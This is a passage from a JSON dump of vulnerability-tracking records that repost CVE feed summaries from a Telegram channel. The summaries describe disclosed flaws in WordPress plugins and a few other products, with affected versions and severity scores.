CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:09.000000Z"}, {"uuid": "600ae11a-cca2-46ba-a925-90aca2fd6d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12462", "type": "seen", "source": "https://t.me/cvedetector/14450", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12462 - \"YOGO Booking for WordPress Stored XSS Exploit\"\", \n  \"Content\": \"CVE ID : CVE-2024-12462 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The YOGO Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'yogo-calendar' shortcode in all versions up to, and including, 1.6.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:09.000000Z"}, {"uuid": "ff47fcc0-7ba8-410a-a410-5b0561dbc876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12457", "type": "seen", "source": "https://t.me/cvedetector/14449", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12457 - Viber for WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12457 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Chat Support for Viber \u2013 Chat Bubble and Chat Button for Gutenberg, Elementor and Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vchat' shortcode in all versions up to, and including, 1.7.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:05.000000Z"}, {"uuid": "934128d5-5559-4c6f-91dd-108b69828d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://t.me/cvedetector/16170", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12957 - ASUS Armoury Crate Arbitrary File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12957 \nPublished : Jan. 23, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : A file handling command vulnerability in certain versions of Armoury Crate may result in arbitrary file deletion.  \nRefer to the '01/23/2025 Security Update for Armoury Crate App' section on the ASUS Security Advisory for more information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T11:37:39.000000Z"}, {"uuid": "f25b7586-7314-4054-8ff2-4c40619de859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://t.me/cvedetector/14441", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12402 - WooCommerce Themes Coder \u2013 WordPress Plugin Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12402 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Themes Coder \u2013 Create Android & iOS Apps For Your Woocommerce Site plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.3.4. This is due to the plugin not properly validating a user's identity prior to updating their password through the update_user_profile() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:52.000000Z"}, {"uuid": "dba94802-d7f5-42a6-abf9-fa5a59d02a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://t.me/cvedetector/14440", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12098 - WordPress ARS Affiliate Page Plugin Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12098 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The ARS Affiliate Page Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'utm_keyword' parameter in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:51.000000Z"}, {"uuid": "2f7e01ee-6f6e-43fc-bbd5-2bfa881f14dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://t.me/cvedetector/14434", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12419 - \"WordPress CF7 WOW Styler Arbitrary Shortcode Execution & XSS Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12419 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The The Design for Contact Form 7 Style WordPress Plugin \u2013 CF7 WOW Styler plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. This functionality is also vulnerable to Reflected Cross-Site Scripting. Version 1.7.0 patched the Reflected XSS issue, however, the arbitrary shortcode execution issue remains. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:44.000000Z"}, {"uuid": "2e555f3f-5ece-4cf3-936e-d80e8e6f49d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://t.me/cvedetector/14433", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12416 - \"WordPress Woomotiv Woocommerce SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12416 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Live Sales Notification for Woocommerce \u2013 Woomotiv plugin for WordPress is vulnerable to SQL Injection via the 'woomotiv_seen_products_.*' cookie in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:43.000000Z"}, {"uuid": "a89f215a-5618-4984-8e9b-c8bd04889469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://t.me/cvedetector/14432", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12592 - Sellsy WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12592 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Sellsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'testSellsy' shortcode in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:40.000000Z"}, {"uuid": "6c45c36e-6ae9-4821-a3e8-46ae5f0ba775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://t.me/cvedetector/14431", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12559 - WordPress ClickDesigns API Key ModIFICATION Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12559 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The ClickDesigns plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'clickdesigns_add_api' and the 'clickdesigns_remove_api' functions in all versions up to, and including, 1.8.0. This makes it possible for unauthenticated attackers to modify or remove the plugin's API key. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:39.000000Z"}, {"uuid": "5738c3fa-0202-4bbe-ade5-4bdcf41ee812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://t.me/cvedetector/14430", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12557 - \"Transporters.io WordPress Plugin Cross-Site Request Forgery Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12557 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Transporters.io plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.84. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:38.000000Z"}, {"uuid": "de0a7972-d745-4cdb-b860-a166531db405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://t.me/cvedetector/14429", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12590 - WordPress YouTube Gallery Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12590 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The WP Youtube Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:37.000000Z"}, {"uuid": "3203dbf9-c3bb-4453-9f3c-48aa33faf921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://t.me/cvedetector/14428", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12541 - Chative Live Chat and Chatbot CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12541 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Chative Live chat and Chatbot plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the add_chative_widget_action() function. This makes it possible for unauthenticated attackers to change the channel ID or organization ID via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This could lead to redirecting the live chat widget to an attacker-controlled channel. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:37.000000Z"}, {"uuid": "49b9a51b-d664-463e-9591-93443cd9dd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://t.me/cvedetector/14358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12970 - TUBITAK BILGEM Pardus OS My Computer OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12970 \nPublished : Jan. 6, 2025, 12:15 p.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in TUBITAK BILGEM Pardus OS My Computer allows OS Command Injection.This issue affects Pardus OS My Computer: before 0.7.2. \nSeverity: 3.9 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T14:25:26.000000Z"}, {"uuid": "4c672b40-fdaa-4ab2-a3cd-225a7925c3fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://t.me/cvedetector/14338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12311 - Icegram Express WordPress Plugin SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12311 \nPublished : Jan. 6, 2025, 6:15 a.m. | 24\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.44 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T07:43:47.000000Z"}, {"uuid": "d52ab650-8dca-4e4a-8ed9-780cca1ba56a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://t.me/cvedetector/14336", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12302 - Icegram Engage Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12302 \nPublished : Jan. 6, 2025, 6:15 a.m. | 24\u00a0minutes ago \nDescription : The Icegram Engage  WordPress plugin before 3.1.32 does not sanitise and escape some of its Campaign settings, which could allow authors and above to perform Stored Cross-Site Scripting attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T07:43:46.000000Z"}, {"uuid": "0c147c4a-5fc7-40c2-adf3-fa316a9b269b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12221", "type": "seen", "source": "https://t.me/cvedetector/14273", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12221 - Turnkey bbPress by WeaverTheme WordPress Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12221 \nPublished : Jan. 4, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The Turnkey bbPress by WeaverTheme plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018_wpnonce\u2019 parameter in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T12:14:58.000000Z"}, {"uuid": "72a7bebd-fb07-41a5-a2e1-2bf1b719f2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12583", "type": "seen", "source": "https://t.me/cvedetector/14270", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12583 - Dynamics 365 Integration Plugin for WordPress Remote Code Execution and Arbitrary File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12583 \nPublished : Jan. 4, 2025, 9:15 a.m. | 16\u00a0minutes ago \nDescription : The Dynamics 365 Integration plugin for WordPress is vulnerable to Remote Code Execution and Arbitrary File Read in all versions up to, and including, 1.3.23 via Twig Server-Side Template Injection. This is due to missing input validation and sanitization on the render function. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T10:34:41.000000Z"}, {"uuid": "73aa7e78-064f-455e-94b8-4286fd9809d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://t.me/cvedetector/14274", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12279 - Gravity Forms CSRF vulnerabilitiy allows remote attacker to inject malicious web scripts via forged request\", \n  \"Content\": \"CVE ID : CVE-2024-12279 \nPublished : Jan. 4, 2025, 12:15 p.m. | 32\u00a0minutes ago \nDescription : The WP Social AutoConnect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.6.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T13:55:20.000000Z"}, {"uuid": "fcfea4e1-c1b9-43e3-87a1-9fa195edabf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://t.me/cvedetector/14277", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12195 - WP Project Manager SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12195 \nPublished : Jan. 4, 2025, 12:15 p.m. | 33\u00a0minutes ago \nDescription : The WP Project Manager \u2013 Task, team, and project management plugin featuring kanban board and gantt charts plugin for WordPress is vulnerable to SQL Injection via the 'project_id' parameter of the /wp-json/pm/v2/projects/2/task-lists REST API endpoint in all versions up to, and including, 2.6.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, who have been granted access to a project, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T13:55:22.000000Z"}, {"uuid": "a10d5803-cae9-4346-89db-689ba4284c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://t.me/cvedetector/14275", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12475 - \"WordPress WP Multi Store Locator Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12475 \nPublished : Jan. 4, 2025, 12:15 p.m. | 32\u00a0minutes ago \nDescription : The WP Multi Store Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T13:55:21.000000Z"}, {"uuid": "c3f24dd2-f0cd-48ae-bc47-7f6a38c51991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12545", "type": "seen", "source": "https://t.me/cvedetector/14266", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12545 - \"Scratch & Win - Cross-Site Request Forgery in WordPress Plugin\"\", \n  \"Content\": \"CVE ID : CVE-2024-12545 \nPublished : Jan. 4, 2025, 8:15 a.m. | 26\u00a0minutes ago \nDescription : The Scratch & Win \u2013 Giveaways and Contests. Boost subscribers, traffic, repeat visits,  referrals, sales and more plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.1. This is due to missing nonce validation on the reset_installation() function. This makes it possible for unauthenticated attackers to reset the plugin\u2019s installation via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T09:44:27.000000Z"}, {"uuid": "f765322f-ce4e-4c9f-b2c5-60416f8a8b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12701", "type": "seen", "source": "https://t.me/cvedetector/14265", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12701 - \"WP Smart Import Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12701 \nPublished : Jan. 4, 2025, 8:15 a.m. | 26\u00a0minutes ago \nDescription : The WP Smart Import : Import any XML File to WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018 page\u2019 parameter in all versions up to, and including, 1.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T09:44:27.000000Z"}, {"uuid": "5bdaf270-1d40-43d2-9dc6-285269436429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12078", "type": "seen", "source": "https://t.me/cvedetector/16212", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12078 - ECOVACS BLE GATT Auth Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12078 \nPublished : Jan. 23, 2025, 5:15 p.m. | 40\u00a0minutes ago \nDescription : ECOVACS robot lawn mowers and vacuums use a shared, static secret key to encrypt BLE GATT messages. An unauthenticated attacker within BLE range can control any robot using the same key. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:09:14.000000Z"}, {"uuid": "1ce85699-8405-44b7-aaed-6c9bdc9e5bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12237", "type": "seen", "source": "https://t.me/cvedetector/14251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12237 - WordPress Photo Gallery Slideshow & Masonry Tiled Gallery SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12237 \nPublished : Jan. 3, 2025, 11:15 p.m. | 40\u00a0minutes ago \nDescription : The Photo Gallery Slideshow & Masonry Tiled Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.15 via the rjg_get_youtube_info_justified_gallery_callback function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to retrieve limited information from internal services. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T01:23:01.000000Z"}, {"uuid": "cf3e2b6f-e711-4797-8e3c-6dd8c584d308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12118", "type": "seen", "source": "https://t.me/cvedetector/16183", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12118 - WordPress The Events Calendar Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12118 \nPublished : Jan. 23, 2025, 12:15 p.m. | 45\u00a0minutes ago \nDescription : The The Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Event Calendar Link Widget through the html_tag attribute in all versions up to, and including, 6.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": 